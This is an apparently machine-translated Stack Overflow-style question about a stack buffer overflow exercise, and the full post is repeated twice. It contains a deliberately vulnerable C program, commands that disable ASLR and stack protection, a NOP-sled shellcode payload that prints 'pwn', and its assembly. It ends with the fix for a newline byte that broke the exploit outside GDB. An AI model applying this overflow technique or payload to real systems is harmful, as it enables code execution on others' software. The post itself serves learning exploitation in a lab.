没有 GDB 无法重现缓冲区溢出
Can't Reproduce Buffer Overflow Without GDB
一段时间以来,我一直在尝试解决这个问题。我检查了一些具有类似问题的 Whosebug 链接,但 none 的修复似乎对我有用。出于某种原因,我的漏洞利用代码并没有像我应该的那样得到一个分段错误(如果我的漏洞利用代码不起作用),我的漏洞利用代码根本没有产生错误。我最初的假设是 perl 代码以某种方式只生成了一点点输出,因此不会溢出到堆栈上,但我通过将 perl 命令的输出管道化到一个文件来证明这是错误的。
但是,我无法在 GDB 中重现此问题。据我了解,GDB 禁用了 ASLR,但我通过以下命令在系统中(暂时)禁用了它。我知道此命令有效,因为我正在打印变量 &buff 的地址,并且它在多次运行中不会改变。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
我还在我的可执行文件上禁用了堆栈金丝雀保护:
gcc -g -m32 -fno-stack-protector -z execstack exploit.c
正如我之前所说,我的 exploit 在 GDB 中完美运行。这是我的可利用程序,我将向您展示我的利用代码。
exploit.c
int checkFunc(char *c) {
char buff[32];
printf("0x%08x\n", &buff);
strcpy(buff, c);
if(strcmp(buff, "test") == 0) return 1;
else return 0;
}
int main(int argc, char *argv[]) {
int result = checkFunc(argv[1]);
if(result == 1) printf("Access granted\n");
else printf("Access denied\n");
return 0;
}
[有效] 漏洞利用代码的 GDB 输出
(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
(gdb) run
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
0xbffff630
pwn
正常输出漏洞利用代码
chris@cb:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;')
0xbffff660
Access denied
是的,我已经考虑到 return 地址更改(GDB 添加了额外的环境变量)。这就是为什么我通过在我的程序中打印出 return 地址来作弊,这样我就可以在不使用 GDB 的情况下知道确切的值。
如果有人认为漏洞利用代码有问题,我也会 post 汇编代码。
xor edx,edx ;xor so we don't have to use a null terminator in our code
xor ecx,ecx
xor ebx,ebx
push edx ;push the null terminator to the stack
push 0xa6e7770 ;push our string pwn\n to the stack
mov dl,0x4
mov ecx,esp
mov bl,0x1
mov al,0x4
int 0x80 ;print our string
jmp eip - 1 ;keep on looping!
在此先感谢您!我已经坚持了几个小时了。想让你们知道,我编写了这个可利用的程序来了解黑客中的缓冲区溢出:利用的艺术。
对于将来遇到此问题的任何人...
我遇到的程序问题是缓冲区中的 0x0A 字符。由于某些原因,GDB把这个当作一个简单的换行符,但是当运行程序正常时,它被当作一个空字符。我通过将换行符更改为其他字符来解决问题。感谢 Jester、EOF 和 Michael 的帮助,引导我走向正确的方向,并帮助我写出更好的代码:)。
(gdb) x/32x &buff
0xbffff130: 0x90 0x90 0x31 0xd2 0x31 0xc9 0x31 0xdb
0xbffff138: 0x31 0xc0 0x52 0x68 0x70 0x77 0x6e 0x00
0xbffff140: 0x20 0xec 0xfc 0xb7 0x2d 0x86 0x04 0x08
0xbffff148: 0x64 0xf1 0xff 0xbf 0x00 0x00 0x00 0x00
如您所见,字节 0x00 在字节 15 处终止字符串,因此,我的数组的其余部分具有未初始化的值。
我假设程序认为我正在为命令行参数创建一个实际的新行,但我们都知道情况并非如此 ;)。
为了解决这个问题,我只是用另一个值替换了换行符。不幸的是,我不知道如何在不引起此问题的情况下将换行符合并到我的程序中。我想到了以下 hacky 解决方案来补偿。将换行符减一(0x9)的值放入一个寄存器,然后调用寄存器上的inc操作码,压栈。
一段时间以来,我一直在尝试解决这个问题。我检查了一些具有类似问题的 Whosebug 链接,但 none 的修复似乎对我有用。出于某种原因,我的漏洞利用代码并没有像我应该的那样得到一个分段错误(如果我的漏洞利用代码不起作用),我的漏洞利用代码根本没有产生错误。我最初的假设是 perl 代码以某种方式只生成了一点点输出,因此不会溢出到堆栈上,但我通过将 perl 命令的输出管道化到一个文件来证明这是错误的。
但是,我无法在 GDB 中重现此问题。据我了解,GDB 禁用了 ASLR,但我通过以下命令在系统中(暂时)禁用了它。我知道此命令有效,因为我正在打印变量 &buff 的地址,并且它在多次运行中不会改变。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
我还在我的可执行文件上禁用了堆栈金丝雀保护:
gcc -g -m32 -fno-stack-protector -z execstack exploit.c
正如我之前所说,我的 exploit 在 GDB 中完美运行。这是我的可利用程序,我将向您展示我的利用代码。
exploit.c
int checkFunc(char *c) {
char buff[32];
printf("0x%08x\n", &buff);
strcpy(buff, c);
if(strcmp(buff, "test") == 0) return 1;
else return 0;
}
int main(int argc, char *argv[]) {
int result = checkFunc(argv[1]);
if(result == 1) printf("Access granted\n");
else printf("Access denied\n");
return 0;
}
[有效] 漏洞利用代码的 GDB 输出
(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
(gdb) run
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
0xbffff630
pwn
正常输出漏洞利用代码
chris@cb:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;')
0xbffff660
Access denied
是的,我已经考虑到 return 地址更改(GDB 添加了额外的环境变量)。这就是为什么我通过在我的程序中打印出 return 地址来作弊,这样我就可以在不使用 GDB 的情况下知道确切的值。
如果有人认为漏洞利用代码有问题,我也会 post 汇编代码。
xor edx,edx ;xor so we don't have to use a null terminator in our code
xor ecx,ecx
xor ebx,ebx
push edx ;push the null terminator to the stack
push 0xa6e7770 ;push our string pwn\n to the stack
mov dl,0x4
mov ecx,esp
mov bl,0x1
mov al,0x4
int 0x80 ;print our string
jmp eip - 1 ;keep on looping!
在此先感谢您!我已经坚持了几个小时了。想让你们知道,我编写了这个可利用的程序来了解黑客中的缓冲区溢出:利用的艺术。
对于将来遇到此问题的任何人...
我遇到的程序问题是缓冲区中的 0x0A 字符。由于某些原因,GDB把这个当作一个简单的换行符,但是当运行程序正常时,它被当作一个空字符。我通过将换行符更改为其他字符来解决问题。感谢 Jester、EOF 和 Michael 的帮助,引导我走向正确的方向,并帮助我写出更好的代码:)。
(gdb) x/32x &buff
0xbffff130: 0x90 0x90 0x31 0xd2 0x31 0xc9 0x31 0xdb
0xbffff138: 0x31 0xc0 0x52 0x68 0x70 0x77 0x6e 0x00
0xbffff140: 0x20 0xec 0xfc 0xb7 0x2d 0x86 0x04 0x08
0xbffff148: 0x64 0xf1 0xff 0xbf 0x00 0x00 0x00 0x00
如您所见,字节 0x00 在字节 15 处终止字符串,因此,我的数组的其余部分具有未初始化的值。
我假设程序认为我正在为命令行参数创建一个实际的新行,但我们都知道情况并非如此 ;)。
为了解决这个问题,我只是用另一个值替换了换行符。不幸的是,我不知道如何在不引起此问题的情况下将换行符合并到我的程序中。我想到了以下 hacky 解决方案来补偿。将换行符减一(0x9)的值放入一个寄存器,然后调用寄存器上的inc操作码,压栈。